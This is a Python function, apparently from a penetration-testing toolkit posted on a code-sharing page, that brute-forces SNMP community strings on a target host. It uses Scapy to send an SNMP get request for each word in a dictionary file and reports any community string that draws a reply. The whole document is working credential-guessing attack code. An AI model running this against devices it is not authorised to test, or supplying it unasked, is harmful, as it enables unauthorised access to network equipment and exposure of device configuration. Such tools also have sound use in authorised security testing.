cmd_snmp_crack.py 文件源码

def cmd_snmp_crack(ip, port, stop, verbose):

    FILEDIR = os.path.dirname(os.path.abspath(__file__))
    DATADIR = os.path.abspath(os.path.join(FILEDIR, '../data'))
    COMMFILE = Path(os.path.abspath(os.path.join(DATADIR, 'dict_snmp.txt')))

    with COMMFILE.open() as cf:
        communities = cf.read().split('\n')

    conf.verb = False

    pkt = IP(dst=ip)/UDP(sport=port, dport=port)/SNMP(community="public", PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1"))]))

    for community in communities:

        if verbose:
            print('.', end='')
            sys.stdout.flush()

        pkt[SNMP].community=community
        ans = sr1(pkt, timeout=0.5, verbose=0)

        if ans and UDP in ans:
            print('\nCommunity found:', community)
            if stop:
                break

    return True